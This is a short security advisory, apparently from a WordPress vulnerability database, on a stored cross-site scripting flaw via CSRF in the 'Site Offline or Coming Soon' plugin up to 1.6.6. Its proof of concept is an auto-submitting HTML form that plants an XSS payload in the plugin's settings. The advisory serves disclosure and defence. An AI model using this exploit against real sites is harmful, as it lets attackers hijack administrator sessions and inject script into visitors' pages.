WordPress Plugin Vulnerabilities
Site Offline or Coming Soon <= 1.6.6 - Stored Cross-Site Scripting via CSRF
Description
The plugin does not have CSRF check in place when updating its settings, and it also lacking sanitisation as well as escaping in some of them. As a result, attackers could make a logged in admin change them and put Cross-Site Scripting payloads in them via a CSRF attack
Proof of Concept
<form id="test" action="https://example.com/wp-admin/options-general.php?page=site-is-offline-plugin%2Fmain.php" method="POST">
<input type="text" name="cp_siteoffline_enabled" value="true">
<input type="text" name="cpso_save_settings" value="Änderungen speichern">
<input type="text" name="cp_siteoffline_content" value="<img src=x onerror=alert(/XSS/)>">
</form>
<script>
document.getElementById("test").submit();
</script>
